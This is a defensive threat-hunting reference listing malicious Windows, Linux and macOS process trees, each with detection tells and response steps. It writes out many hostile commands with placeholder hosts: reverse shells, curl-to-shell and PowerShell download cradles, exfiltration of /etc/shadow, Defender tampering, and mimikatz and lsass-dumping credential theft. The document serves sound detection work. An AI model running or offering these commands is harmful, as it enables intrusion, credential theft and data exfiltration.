malicious defense evasion windows
rundll32.exe (beacon) | <loader>.exe | wscript.exe
└─ cmd.exe
└─ powershell.exe Add-MpPreference -ExclusionExtension .exe -Force
powershell.exe Add-MpPreference -ExclusionPath C:\Windows\Temp, C:\Temp
powershell.exe Add-MpPreference -ExclusionPath <current drive>
"C:\ProgramData\Microsoft\Windows Defender\Platform\<ver>\MpCmdRun.exe" -RemoveDefinitions -All
Tells
- Exclusions for a whole extension (
.exe), a drive, or Temp paths.
- Parent is a loader, rundll32 or a script host, not Intune/GPO/SCCM.
-RemoveDefinitions -All wipes signatures; legit use is rare troubleshooting.
Next
- List current exclusions (
Get-MpPreference) and Defender 5007 config-change events.
- Remove them and rescan the excluded paths.
- Treat everything in the excluded paths as malware.
malicious c2 windows
C:\Users\Public\splunkd.exe -socket <ip>:<port> (Caldera Sandcat)
├─ powershell.exe -ExecutionPolicy Bypass -C "<caesar-shifted command>"
├─ powershell.exe -ExecutionPolicy Bypass -C Get-Process
└─ powershell.exe -ExecutionPolicy Bypass -C wmic /NAMESPACE:\\root\SecurityCenter2 PATH AntiVirusProduct GET /value
Tells
- A vendor binary name (
splunkd.exe) outside its install directory.
-socket <ip>:<port> on the command line.- Steady stream of short PowerShell children with Bypass.
Next
- Kill and block the C2; decode the obfuscated commands to see what it collected.
- Check for staged archives (
staged.zip) and UAC bypass tooling (Akagi).
- Look for the same binary on other hosts.
malicious initial access linux
apache2 (www-data)
└─ sh -c 'uname -a; w; id; /bin/bash -i'
└─ bash -i (stdin/stdout on a socket to <ip>:<port>)
php variants:
apache2 / php-fpm
└─ sh -c /bin/bash <&3 >&3 2>&3 (fsockopen reverse shell)
└─ sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <host> <port> >/tmp/f
Tells
apache2/httpd/nginx/php-fpm spawning sh or bash.uname -a; w; id as the first command: pentestmonkey PHP reverse shell.- Established outbound connection owned by
www-data.
Next
- Find the uploaded
.php in the web root and its request in access.log.
- Check for privesc (sudo misconfig, SUID) and persistence the shell created.
- Look at
/dev/shm and /tmp for dropped tooling.
malicious defense evasion windows
powershell.exe (after an in-memory AMSI patch)
├─ reg.exe add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
└─ bcdedit.exe /set safeboot network
Tells
bcdedit with safeboot outside maintenance: EDR will not load on the next boot.RunAsPPL set to 0 is a precursor to lsass theft.- AMSI bypass strings in 4104 just before.
Next
- Revert the boot config before any reboot; isolate the host.
- Check for an lsass dump attempt and ransomware staging.
- Find the account and its source.
malicious persistence windows
powershell.exe (beacon host)
└─ cmd.exe /C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v <Update> /t REG_SZ /d "powershell.exe -nop -w hidden -c IEX((new-object net.webclient).downloadstring('http://<ip>:80/<path>'))"
└─ reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run ...
Tells
- A Run value whose data is a PowerShell download cradle.
- Generic value names (
Update) pointing at -w hidden -c IEX.
- Written by a PowerShell process that already has C2 connections.
Next
- Delete the value and block the IP; it fires again at next logon.
- Look at every other child of the same PowerShell PID (discovery, staging dirs).
- Check other hosts for the same Run value name.
malicious lateral movement windows
explorer.exe (RDP session from <ip>)
└─ \\tsclient\<attacker drive>\<name>.dll.exe
Tells
- Image path starting
\\tsclient\: the file lives on the attacker machine.
- Double extension (
.dll.exe).
- Defender detections citing a tsclient path, then the same file appearing in an excluded folder.
Next
- Check Defender exclusions added on the host and redeployed copies.
- Review RDP logons (1149, 4624 type 10) and the source IP.
- Disable drive redirection by policy.
malicious lolbin windows
<parent: cmd.exe / powershell.exe>
└─ certutil.exe -decode C:\Users\<user>\AppData\Local\Temp\<random>.txt C:\Users\<user>\AppData\Local\Temp\<random>.exe
└─ (next) <random>.exe / rundll32.exe <random>.dll,<export>
Tells
-decode / -decodehex turns a base64 or hex text file into a binary: classic way to sneak a PE past mail and web filters.- Input file is usually a
.txt, .crt or .log dropped seconds earlier by the same parent.
- Legit PKI admins use
certutil for -store, -verify, -dump, not to build executables in Temp.
Next
- Grab both the encoded input and decoded output paths; hash the output.
- Find what wrote the input file (a script host, browser, Office).
- Check whether the output was executed or loaded.
malicious lolbin windows
cmd.exe | powershell.exe | <beacon>
└─ certutil.exe -urlcache -split -f http(s)://<ip|domain>/<file> <dest>
dest seen: C:\Windows\Temp\svchost.exe, svch0st.exe, <tool>.zip, <name>.dll, credentials.txt
Tells
certutil with -urlcache and a URL is a download, full stop.- Destinations in
C:\Windows\Temp, user Downloads or the CWD, often renamed to a system-like name.
- Sources on GitHub, paste sites or file-sharing hosts (sendit.sh style) get past URL reputation.
Next
- Pull the file from
CryptnetUrlCache even if it was deleted from the destination.
- Hash and identify it (Rubeus, mimikatz, LPE exploits are common).
- Look at what executed the downloaded file next.
malicious lateral movement windows
<reverse shell as user A>
├─ certutil.exe -urlcache -f http://<internal ip>/RunasCs.exe RunasCs.exe
└─ RunasCs.exe <userB> <password> cmd.exe -r <ip>:<port>
later:
powershell.exe (user B) → psgetsys ImpersonateFromParentPid -ppid <SYSTEM pid> → SYSTEM shell
Tells
- Plaintext password on a RunasCs command line.
- Staging from an internal host (another compromised box).
- A process whose recorded parent is a SYSTEM service but whose creator was a user shell (PPID spoofing).
Next
- Reset user B; find where the password came from (DPAPI, saved creds).
- Investigate the internal staging host.
- Look for 4104
ImpersonateFromParentPid and the resulting SYSTEM persistence.
malicious initial access windows
explorer.exe (Win+R paste, recorded in RunMRU)
├─ mshta.exe http://<domain>/<path> # I am not a robot - reCAPTCHA Verification ID: <n>
│ └─ powershell.exe -w hidden -enc <base64> (base64 + gzip → IEX)
│ ├─ cmd.exe /c bitsadmin /transfer <job> /download /priority normal "https://<paste-host>/<name>.ps1" "C:\Windows\Temp\<name>.ps1"
│ └─ certutil.exe -urlcache -f "http://<ip>/<random>.dll" "C:\Windows\Temp\<name>.dll"
└─ powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://<ip>/<file>.ps1')"
Tells
mshta.exe with an http(s):// argument and explorer.exe as parent has no enterprise use.- The
# comment with captcha text is the lure; mshta ignores everything after it.
- RunMRU holding a hidden PowerShell or mshta command is a one-key triage win.
Next
- Read
HKCU\...\Explorer\RunMRU for the exact pasted command (attackers sometimes wipe it).
- Decode the PowerShell and list everything it pulled with certutil/bitsadmin.
- Find the lure site in browser history and block it; check for other visitors.
malicious defense evasion windows
<parent: cmd.exe / powershell.exe>
└─ cmstp.exe /ni /s C:\Users\<user>\AppData\Local\Temp\<random>.inf
└─ (via COM: DllHost.exe {3E5FC7F9-9A51-4367-9063-A120244FBEC7})
└─ cmd.exe / powershell.exe (elevated)
Tells
cmstp (Connection Manager profile installer) with an INF from a user path. Real VPN profile installs are rare and come from IT.- INF
RunPreSetupCommandsSection runs commands or a remote .sct.
- A high-integrity child via the CMSTPLUA COM object = UAC bypass.
Next
- Grab the INF file and read the commands it runs.
- Check child integrity level; if elevated, assume admin compromise on the host.
malicious defense evasion linux
containerd-shim-runc-v2 -namespace moby -id <id>
└─ sh / bash (inside container)
└─ mount /dev/sda1 /mnt ; chroot /mnt sh
└─ nsenter --target 1 --mount --uts --ipc --net --pid -- sh
└─ docker -H unix:///var/run/docker.sock run -v /:/host --privileged <image> chroot /host
Tells
- Inside a container:
nsenter -t 1, mounting host disks, chroot into a host mount, or talking to a mounted docker.sock.
- Privileged containers or
/var/run/docker.sock mounts make this trivial.
- Interactive shells in production containers are already unusual;
kubectl exec by an admin is the benign case, so check who.
Next
- Identify the container image, its privileges and mounts.
- Check host-level activity after the escape (new users, SSH keys, cron).
- Find how the shell started inside the container (exposed app, stolen credentials).
malicious persistence linux
cron
└─ /bin/sh -c /tmp/<name>
└─ /tmp/<name> (miner / implant)
cron
└─ /bin/sh -c /tmp/<name>.sh
└─ busybox nc <ip> <port> -e /bin/sh
Tells
- Cron lines referencing
/tmp, /dev/shm or /var/tmp.
- The same
@reboot line in root and a user crontab.
- Writes to
/etc/crontab or /var/spool/cron outside config management.
Next
- Remove the lines and the binary; check every cron location.
- Hash the binary (miners and Mirai-style bots are common).
- Find the initial access (SSH brute force, web RCE, cloned repo).
malicious persistence linux
cron / crond
└─ /bin/sh -c "(curl -fsSL http://<ip>/<path> || wget -q -O- http://<ip>/<path>) | sh"
└─ sh
└─ /tmp/.<random>/<miner-or-bot>
Tells
- A cron job that fetches and pipes to
sh every few minutes = re-infection loop. Real cron jobs run local scripts.
curl || wget fallback, hidden dot folders in /tmp, high CPU child.
Next
- List crontabs (
/var/spool/cron/*, /etc/cron.d/*, /etc/crontab) and find the entry and when it was written.
- Find the original entry point (webapp, SSH) that planted it.
malicious execution linux
<shell | app worker | pod process>
├─ sh -c "curl -L https://github.com/<repo>/releases/latest/download/linpeas.sh | sh"
├─ sh -c "wget http://<ip>/<path>/run.sh -O- | sh"
└─ sh -c "apt install -y curl && curl <url> | bash" (inside a container)
Tells
- A download tool whose stdout feeds a shell.
- Bare IP or GitHub raw/releases URL.
- Package installs inside a running container are their own red flag.
Next
- Fetch the script from telemetry or a sandbox, not from the host.
- Check what it changed: users, keys, cron, services.
- For containers, find the exposed endpoint that ran commands.
malicious exfil linux
bash
├─ sh -c "base64 /etc/shadow | curl -X POST -d @- http://<ip>/<name>.php"
└─ curl -X POST -d /etc/passwd http://<ip>:443
Tells
curl -X POST -d @- or -d <sensitive file>.- Plain HTTP to port 443, or a bare IP.
- Preceded by privilege checks (
sudo -l, id).
Next
- Assume every password hash on the box is cracked; rotate.
- Check the same destination from other hosts.
- Find the access path (web shell, SSH brute force).
malicious credential access windows
powershell.exe . .\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -Command '"lsadump::dcsync /domain:<domain> /user:krbtgt"'
mimikatz.exe "kerberos::golden /user:<user> /domain:<domain> /sid:<sid> /krbtgt:<hash> /id:500 /ptt"
mimikatz.exe "kerberos::ptt <ticket>.kirbi"
explorer.exe / cmd.exe
└─ C:\Users\<user>\Downloads\Rubeus.exe kerberoast ... (DC: 4769 with RC4 0x17 seconds later)
Tells
lsadump::dcsync from anything that is not a DC: 4662 with replication GUIDs from a workstation account.kerberos::golden / /ptt on a command line.- Rubeus or PowerView in a user profile, matched to an RC4 TGS request on the DC.
Next
- Treat krbtgt as compromised: double reset with replication time between.
- Find every host where the forged/requested tickets were used.
- Check service accounts with SPNs for crackable passwords.
malicious initial access windows
firefox.exe (DNS to a cloud-storage content host, then file write)
explorer.exe
└─ C:\Users\<user>\Downloads\<document-name>.exe.exe | <name>.tiff.exe
├─ msiexec.exe /i "<AppData\Roaming>\<vendor>\<name>.msi"
└─ (writes) <AppData>\<vendor>\<name>.cmd
Tells
.exe.exe, .pdf.exe, .tiff.exe: Windows hides the real extension by default.- EXE from Downloads, parent
explorer.exe, followed within seconds by msiexec /i.
- Sysmon 2 (file time changed) right after install = timestomping.
Next
- Check the download URL (browser history, Zone.Identifier) and who else pulled it.
- List what the MSI installed and any service/Run key it registered.
- Pull the dropped
.cmd and the backdoor it launches (UltraVNC-style RATs are common here).
malicious defense evasion windows
explorer.exe
└─ C:\Users\<user>\Downloads\<update|PuTTY|tool>.exe
└─ notepad.exe | cmd.exe (no window; private RWX region with shellcode)
├─ (network) → <ip>:<port>
└─ whoami.exe /all
notepad.exe (Security 4799: enumerates Backup Operators in user context)
Tells
notepad.exe or cmd.exe making outbound connections.- Notepad as the caller of group enumeration (4799) or other discovery.
- A trojanised known tool (PuTTY, “update.exe”) from Downloads or a mounted ISO.
Next
- Dump the process memory and pull the C2 from the injected region (Sliver/Cobalt Strike).
- Check the loader for other targets it injected into.
- Look for service-DLL tampering or other privesc set up while the implant ran.
malicious credential access windows
<beacon>
└─ esentutl.exe /y "C:\Users\<user>\AppData\Local\<browser>\User Data\Default\<db>" /d <staging>\<name>
Tells
esentutl /y on a browser profile file; it exists to copy ESE DBs with open handles.- Parent is a beacon or script, not a backup tool.
Next
- Assume saved browser passwords and cookies are stolen; reset and revoke sessions.
- Check for follow-on logons with those credentials (VPN, file servers).
malicious initial access windows
EXCEL.EXE
└─ (download via URLDownloadToFileA in-process) C:\Users\Public\<random>.ocx / .dll
└─ rundll32.exe C:\Users\Public\<random>.ocx,DllRegisterServer
└─ regsvr32.exe -s ..\<random>.ocx
Tells
- Excel making HTTP connections itself, then
rundll32/regsvr32 loading a file it just wrote. XLM macros call Windows APIs directly, no PowerShell needed.
- Odd extensions (
.ocx, .dat, .ooccxx) in Public, ProgramData or the user folder.
- Classic Emotet/Qakbot/Dridex delivery.
Next
- Get the workbook (mail attachment) and hash the dropped DLL.
- Check DLL network activity and injection; hunt the sender and attachment.
malicious initial access windows
explorer.exe
└─ E:\hidden\<system-like name>.exe (removable drive)
└─ drops <random>.dll ×4 to %TEMP%, copies itself to %APPDATA%\<system-like name>.exe
<malware>
└─ (writes) <USB>:\USB.exe + .lnk shortcuts (worm spread)
Tells
- Process image on a removable drive letter in a hidden folder.
- System names (
Trusted Installer.exe, WmiPrvSE.exe) in user paths.
- LNK files created on removable media pointing at an EXE.
Next
- Identify the USB device (USBSTOR, partition events) and quarantine it.
- Check every host the device was plugged into.
- Pull the C2 config from the dropped files.
malicious initial access windows
<browser>.exe
└─ (download) C:\Users\<user>\Downloads\<App>_Setup_x64.exe / .msi / .zip
explorer.exe
└─ <App>_Setup_x64.exe (unsigned or signed by an unrelated company)
└─ powershell.exe -w hidden -c "Add-MpPreference -ExclusionPath ..."
└─ C:\Users\<user>\AppData\Roaming\<random>\<random>.exe
└─ (network) <ip>:443
Tells
- Malvertising and SEO poisoning: the “installer” came from an ad or lookalike domain, not the vendor.
- Signer does not match the product, or the file is unsigned; size is odd; Defender exclusions get added.
- Drops a second exe into AppData plus a Run key or task, then beacons.
Next
- Check the download URL/referrer in browser history and the Zone.Identifier.
- Hash, signer, prevalence; look at persistence and network.
- Check for credential theft (browser data access) and scope the user’s sessions.
malicious c2 windows
<parent: cmd.exe / explorer.exe (Run dialog)>
└─ cmd.exe /c finger <user>@<ip> | cmd
└─ finger.exe <user>@<ip>
└─ cmd.exe (runs what finger returned)
Tells
finger is a dead protocol (TCP 79). Any outbound use on a modern host is suspicious.- Piping finger output into
cmd or redirecting to a file = download-and-run.
- Seen in ClickFix variants.
Next
- Pull the IP and check other hosts talking to it on port 79.
- See what the piped
cmd ran.
malicious defense evasion windows
services.exe
└─ cmd.exe /c echo <random> > \\.\pipe\<random> (7045 temp service, removed right after)
Tells
- A service whose ImagePath is
cmd.exe /c echo ... > \\.\pipe\....
- Created and deleted within seconds by a user-context process.
- Meterpreter/Cobalt Strike named-pipe impersonation to SYSTEM.
Next
- Find the process that created the service and treat it as a beacon now running as SYSTEM.
- Look for a second, persistent service installed right after.
- Check injection targets (explorer.exe) from the same payload.
malicious initial access windows
explorer.exe / outlook.exe / 7zFM.exe
└─ hh.exe C:\Users\<user>\Downloads\<lure>.chm
└─ cmd.exe / powershell.exe / mshta.exe <payload>
Tells
- Compiled HTML Help files are rare in modern business. One from Downloads, mail or an archive is a lure.
hh.exe spawning a shell or script host is the payload firing.- Network connection from
hh.exe to a remote URL.
Next
- Get the CHM origin (mail attachment, browser download, Zone.Identifier).
- Decode the child command and hunt the CHM hash fleetwide.
malicious initial access windows
OUTLOOK.EXE
└─ (save/open) ...\Content.Outlook\<random>\<lure>.hta
explorer.exe / OUTLOOK.EXE
└─ mshta.exe "C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\<random>\<lure>.hta"
└─ powershell.exe -enc <base64>
Tells
- An
.hta from the Outlook attachment cache or Downloads. No business sends HTA by email.
mshta then spawning powershell/cmd/rundll32.
Next
- Find the email (sender, subject, recipients) and purge it from other mailboxes.
- Decode the child command; pull URLs and dropped files.
malicious lateral movement windows
services.exe
└─ %systemroot%\<8 random letters>.exe (7045: random service name; psexec clone)
└─ cmd.exe
services.exe
└─ cmd.exe /Q /c echo <command> ^> \\127.0.0.1\C$\__output 2^>^&1 > %SYSTEMROOT%\<random>.bat & %COMSPEC% /Q /c %SYSTEMROOT%\<random>.bat & del %SYSTEMROOT%\<random>.bat
Tells
- Service with a random 8-character name pointing at a random EXE in
C:\Windows.
cmd.exe /Q /c echo ... ^> \\127.0.0.1\C$\__output is smbexec.- Searching for
PSEXESVC finds nothing: that is the point of the clones.
Next
- Pull 7045 and 4697 across hosts to map every target.
- Identify the account used (4624 type 3 right before) and its source.
- Check what was deployed through it (ransomware binaries in
C:\Windows\Temp).
malicious lateral movement windows
svchost.exe -k DcomLaunch
└─ WmiPrvSE.exe -Embedding
└─ cmd.exe /Q /c <command> 1> \\127.0.0.1\ADMIN$\__<epoch> 2>&1
commands seen: systeminfo, type <file>, schtasks /create ...
Tells
WmiPrvSE.exe parenting a long run of cmd.exe /Q /c children.- Output redirected to a timestamp-named file on
ADMIN$.
- Network logon (4624 type 3) for the same account right before.
Next
- Filter 4688/Sysmon 1 on parent
WmiPrvSE.exe to get the full command history.
- Find the source IP and account from the logon events.
- Check for persistence created through it (schtasks, new users).
malicious defense evasion windows
<parent: cmd.exe / powershell.exe / wscript.exe>
└─ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\<user>\AppData\Local\Temp\<random>.dll
└─ (network) <ip>:443
Tells
/U on an assembly from a user path runs the attacker’s Uninstall method inside a signed Microsoft binary./logfile= empty and /LogToConsole=false hide output.- Legit use is during real .NET service installs from
Program Files by installers.
Next
- Hash the assembly; check signer and prevalence.
- Check for network activity or injection from InstallUtil.
malicious initial access windows
explorer.exe (double-click <name>.iso, Windows mounts it as E:)
└─ E:\<Document>.exe (signed legit app)
(image load) E:\<legit-name>.dll (malicious, side-loaded)
└─ (inject / network) <ip>:443
Tells
- Process image path on a mounted drive letter (
D:, E: …) that is not a real disk; files inside ISOs used to bypass Mark of the Web.
- Signed exe loading an unsigned DLL from the same folder.
- Hidden files in the ISO (the DLL) and a visible lure.
Next
- Find the ISO origin and hash; list its contents from file events.
- Check the DLL hash and the network connections of the exe.
malicious initial access linux
java (Tomcat / Openfire / Jenkins)
├─ /bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'
└─ nc <ip> <port> -e /bin/bash
node (Next.js / React server)
└─ /bin/sh -c while :; do (curl -sk https://<ip>:443/<name>.sh -o ./<name>.sh || wget -qO ./<name>.sh https://<ip>:443/<name>.sh --no-check-certificate) && ...
└─ bash ./<name>.sh
Tells
java or node with a shell child at all is rare on a server./dev/tcp/, nc -e, or a curl || wget retry loop in the command line.- Preceded by a malicious WAR/plugin upload, Groovy script console use, or a crafted RSC request.
Next
- Find the uploaded WAR/plugin or the request that triggered it.
- Check for persistence: systemd units, cron,
.bashrc, XDG autostart.
- Rotate any credentials the app server could read (config files, credentials stores).
malicious execution windows
OpenWith.exe
└─ WScript.exe "<Downloads>\<extracted>\<random>.JS"
├─ cmd.exe /c schtasks /create /sc minute /mo 15 /tn <random>.JS /tr C:\Users\Public\Libraries\<random>.JS
└─ powershell.exe <obfuscated, command line truncated past 32KB>
└─ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
└─ (injects) chrome.exe (bursts of decoy DNS queries)
Tells
- A scheduled task whose action is a
.JS file in C:\Users\Public\Libraries.
MSBuild.exe launched by PowerShell on a non-developer machine.- A browser process with no user activity spraying DNS lookups to many unrelated domains (FormBook decoys).
Next
- Recover the PowerShell from 4104 or the dropped
.png carrier files in C:\Users\Public.
- Kill the injected browser PID and remove the task.
- Check whether the archive (
.rar) reached other mailboxes.
malicious defense evasion linux
bash
└─ wget -q http://<ip>/sh -O- | sh
├─ sh clean
│ ├─ systemctl stop <competitor>_miner ; systemctl disable <competitor>_miner
│ └─ sed -i '/wget\|curl\|\/dev\/tcp/d' /var/spool/cron/crontabs/*
└─ <writable dir>/x86_64 ... (miner, config to <pool>)
Tells
- A script stopping someone else’s miner service.
- Crontab lines containing
wget, curl or /dev/tcp being deleted.
- Extensionless ELF named after an architecture (
x86_64) pulled from a bare IP.
Next
- Find the miner process and its pool connection; block both.
- Treat the host as owned: someone else was already mining on it.
- Look at SSH auth for the brute force that usually precedes this.
malicious execution windows
explorer.exe
└─ <lure>.lnk
└─ C:\<random dir>\<random>.exe /C "<junk> || <junk> || <script>.cmd" (renamed cmd.exe)
├─ %TEMP%\<random>.exe import <dir>\<random>.reg (renamed reg.exe)
└─ <random>.exe <dir>\<random>.wsf (renamed wscript.exe, JScript)
└─ powershell.exe Add-MpPreference ... ; rundll32 $env:TEMP\<random>.dll,<export>
Tells
- Signed Microsoft binaries running under random names (check OriginalFileName).
|| chains of garbage commands that fail on purpose.- A
.wsf with thousands of junk lines.
Next
- Hunt by OriginalFileName = cmd.exe/wscript.exe/reg.exe with a different image name.
- Grab the DLL from
%TEMP% and the C2 list from it.
- Remove registry persistence the
.reg import created.
malicious initial access windows
explorer.exe
└─ <lure>.pdf.lnk (inside a ZIP)
└─ cmd.exe /c ... | rundll32.exe ...
└─ powershell.exe -w hidden -c "<long argument: fetch decoy PDF, then stage 2>"
(proxy sees User-Agent WindowsPowerShell/5.1 fetching a .pdf)
Tells
- A shortcut whose target is
powershell.exe with a long argument string.
- Document “downloads” made by PowerShell instead of a browser.
- Scheduled task or folder like
AppData\Roaming\<Helper> appearing a minute later.
Next
- Parse the LNK (LECmd) for the full command line.
- Pull the stage 2 URL from proxy logs.
- Check for persistence and the runtime it dropped (portable Python, Node).
malicious lolbin windows
explorer.exe
└─ cmd.exe /c ... (from <lure>.pdf.lnk)
├─ ftp.exe -s:<lure>.png (FTP command script disguised as an image)
├─ DeviceCredentialDeployment.exe (hides the console window)
├─ findstr.exe <marker> <file> > C:\ProgramData\<name>.tmp
├─ certutil.exe -decode C:\ProgramData\<name>.tmp C:\ProgramData\<name>.dll
└─ C:\ProgramData\<renamed signed>.exe (side-loads <name>.dll)
Tells
ftp.exe -s: with a non-text extension.ftp, findstr, certutil -decode and DeviceCredentialDeployment.exe within seconds of each other.- A signed Microsoft binary renamed (e.g. to
ssh.exe) sitting next to a DLL in ProgramData.
Next
- Recover the decoded DLL and the renamed EXE (check OriginalFileName / catalog hint).
- Check for follow-on credential theft (
reg save of hives) and rclone-style exfil.
- Find the archive that delivered the LNK.
malicious credential access windows
<persistence exe running as SYSTEM>
└─ C:\Windows\system32\<short>.exe -accepteula -ma lsass.exe lsass.dmp (OriginalFileName: procdump)
C:\Windows\Temp\<random>.exe (SYSTEM)
└─ WerFault.exe ... (silent process exit against lsass.exe → lsass.exe-(PID-<n>)-<n>.dmp)
cmd.exe
└─ curl.exe <file-sharing host> -T lsass.exe-(PID-<n>).dmp
Tells
-ma lsass.exe on any command line, whatever the binary is called.WerFault.exe spawned outside a real crash with lsass as the target; may produce no Sysmon 10 at all.- A
.dmp file named after lsass being uploaded with curl -T.
Next
- Assume every credential cached on that host is burned: reset, and krbtgt twice if a DC was involved.
- Check
SilentProcessExit / IFEO registry keys for lsass.
- Trace where the dump went and which accounts log in next from new sources.
malicious initial access macos
Terminal
└─ zsh
└─ /bin/bash -c "$(curl -fsSL http://<domain>/<path>)" (or echo <base64> | base64 -d | bash)
└─ curl -o /tmp/<random> http://<domain>/<file>
└─ xattr -c /tmp/<random> ; chmod +x /tmp/<random> ; /tmp/<random>
Tells
- A user pasting a one-liner from a “fix” page, fake install guide or search ad. Base64 wrappers,
/tmp targets.
xattr -c / xattr -d com.apple.quarantine strips Gatekeeper’s quarantine flag.- Often followed by the osascript password prompt tree.
Next
- Get the URL and the downloaded binary; check signer and notarization.
- Check browser history for the lure page; scope credentials as in the osascript tree.
malicious credential access windows
<terminal / IDE / CI agent>
└─ node.exe <project>\node_modules\<pkg>\index.js (runs on import or postinstall)
(file reads) %APPDATA%\..\Local\Google\Chrome\User Data\*\Login Data, .npmrc, .ssh\id_*, .aws\credentials, .env
(network) node.exe → <domain or webhook>/<path> POST
└─ (sometimes) node.exe <random>.js detached / Run key added
Tells
node.exe reading browser credential stores, crypto wallet folders, .ssh, .npmrc, cloud credential files: no build tool needs those.- Outbound POSTs to paste sites, Discord/Telegram webhooks, fresh domains or raw IPs, not to the npm registry.
- A detached second node process or a Run key pointing at node.exe with a
.js in AppData.
Next
- Identify the package from the script path; check its version and publish date.
- Treat any secret on the host as exposed: tokens, SSH keys, cloud keys, browser sessions.
- Search the fleet and CI for the same package version.
malicious defense evasion windows
<parent: cmd.exe / powershell.exe>
└─ mavinject.exe <target_pid> /INJECTRUNNING C:\Users\<user>\AppData\Local\Temp\<random>.dll
(target) explorer.exe / svchost.exe now loads <random>.dll
Tells
/INJECTRUNNING injects a DLL into a running process. Normal use is App-V only.- DLL in a user path, target is a long-lived process (explorer, svchost).
- No App-V in the estate = no reason for mavinject at all.
Next
- Identify the target PID and its behavior after injection (network, children).
- Hash the DLL; check what dropped it.
malicious credential access windows
powershell.exe -Command "Invoke-WebRequest -Uri https://raw.githubusercontent.com/<repo>/Invoke-Mimikatz.ps1 -OutFile <benign-name>.ps1"
powershell.exe -Command ". .\<benign-name>.ps1 ; Invoke-Mimikatz -Command 'privilege::debug' ; Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'"
cmd.exe
└─ C:\Users\Public\<dir>\mimikatz.exe | <renamed>.exe "privilege::debug" "sekurlsa::logonpasswords" exit
(Sysmon 10 on lsass.exe, GrantedAccess 0x1010 / 0x1410)
Tells
privilege::debug, sekurlsa::, Invoke-Mimikatz in a command line or 4104 block.- lsass access from a binary in
C:\Users\Public, Downloads or Temp.
- Renamed EXE (
netdiag.exe etc.) whose hash resolves to mimikatz.
Next
- Reset every account that had a session on the host.
- Look for logons with those accounts from new hosts (4624 type 3/10) in the next hours.
- Find the toolkit folder: PowerView, PsExec and mimikatz usually travel together.
malicious lolbin windows
explorer.exe
└─ <Downloads>\<cracked_tool>_setup.exe
├─ cmd.exe /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe <dir>\<project>.xml
└─ rundll32.exe "C:\Users\<user>\Music\<random>.dll",Start
mshta.exe "<archive>\<name>.hta"
└─ msbuild.exe <archive>\config.xml (inline task, C# compiled and run in memory)
Tells
MSBuild.exe on an end-user workstation outside Visual Studio is almost always proxy execution.- Project file is
.xml in a user/temp/archive path with a <UsingTask> inline task.
- Sibling
rundll32 loading a DLL from Music/AppData right after.
Next
- Grab the project file: the inline C# usually holds the decoder and next URL.
- Check MSBuild network connections and any process it injected into (Sysmon 8/10).
- Trace the parent installer back to its download source.
malicious execution windows
explorer.exe
└─ mshta.exe "<Desktop|Downloads>\<extracted archive>\<name>.hta"
├─ powershell.exe -nop -w hidden -enc <base64> (gzip → base64 → XOR → shellcode via VirtualAlloc)
│ └─ C:\Users\<user>\AppData\Local\<random>.exe (C2 agent)
└─ msbuild.exe <archive>\<name>.xml
WmiPrvSE.exe
└─ <hidden child> (Win32_Process.Create with ShowWindow=0 from the HTA)
Tells
mshta.exe launching PowerShell, cmd or MSBuild.- An
.hta inside a freshly extracted archive in a user folder.
- A hidden process whose parent is
WmiPrvSE.exe right after the HTA ran: the script used WMI to break the parent chain.
Next
- Get the HTA and decode every stage (base64 UTF-16LE, then XOR key).
- Pivot on the agent EXE network destination; treat the first IP as a possible redirector.
- Check for lateral movement with harvested credentials from the same host.
malicious lolbin windows
<parent: cmd.exe / explorer.exe / Run key / scheduled task>
└─ mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc <base64>"",0:close")
└─ powershell.exe -enc <base64>
--- or ---
└─ mshta.exe javascript:a=GetObject("script:http://<ip>/<file>.sct").Exec();close();
Tells
javascript: or vbscript: as the mshta argument means inline code; there is no file on disk to scan.,0 in .Run hides the window; close() closes mshta right after.- Very common in Run-key and scheduled-task persistence (fileless).
Next
- Copy the full command line and decode any nested base64.
- Check if it came from a Run key or task (registry/task creation events): that is persistence to remove.
- Look for the
script: / .sct URL and hunt it fleetwide.
malicious lolbin windows
<parent: explorer.exe / outlook.exe / cmd.exe / wscript.exe>
└─ mshta.exe http://<domain>/<path>.hta
└─ powershell.exe -nop -w hidden -c "<download cradle>"
└─ <random>.exe
Tells
mshta with an http(s) URL as its argument executes remote VBScript/JScript with full user rights.- Children of
mshta (powershell, cmd, rundll32) are the real payload.
- The URL path may not end in
.hta at all; any URL works.
Next
- Grab the URL and the HTA content if the EDR captured the script or network data.
- Walk up the parent: Run dialog (ClickFix), email attachment, LNK.
- Check for network connections from
mshta.exe itself and from its children.
malicious persistence windows
services.exe
└─ C:\Windows\Temp\<winupdate-like>.exe (4697/7045: LocalSystem, auto start)
services.exe
└─ C:\Windows\<WindowsPooler-like>.exe <random>
services.exe
└─ C:\Windows\Sysmon.exe (fake Sysmon service, not the real driver/service pair)
svchost.exe -k netsvcs
└─ (loads) <attacker>.dll (existing service's ServiceDll swapped)
Tells
- Service binary in Temp or directly in
C:\Windows with an update/spooler/monitoring name.
- Service names that copy real tools (Sysmon, Windows Update).
- A
ServiceDll change on a built-in svchost service.
Next
- Check signer and hash of the ImagePath; compare ServiceDll to baseline.
- Find who created it (4697 subject, preceding remote logon).
- Remove the service and binary; check for the same service on other hosts.
malicious execution windows
<parent: cmd.exe / powershell.exe / webserver node app>
└─ node.exe -e "require('child_process').exec('...')" (or a .js in Temp/AppData)
└─ cmd.exe /d /s /c <command>
└─ (network) node.exe ↔ <ip>:<port> long-lived
Tells
node -e / node -p with child_process, net.Socket, Buffer.from(..., 'base64') or eval = inline payload.- Script running from
Temp/AppData/ProgramData, not from a project folder.
- A Node web app (Next.js, Express) suddenly spawning
cmd/sh with recon commands (whoami, ipconfig, curl) = RCE in the app.
Next
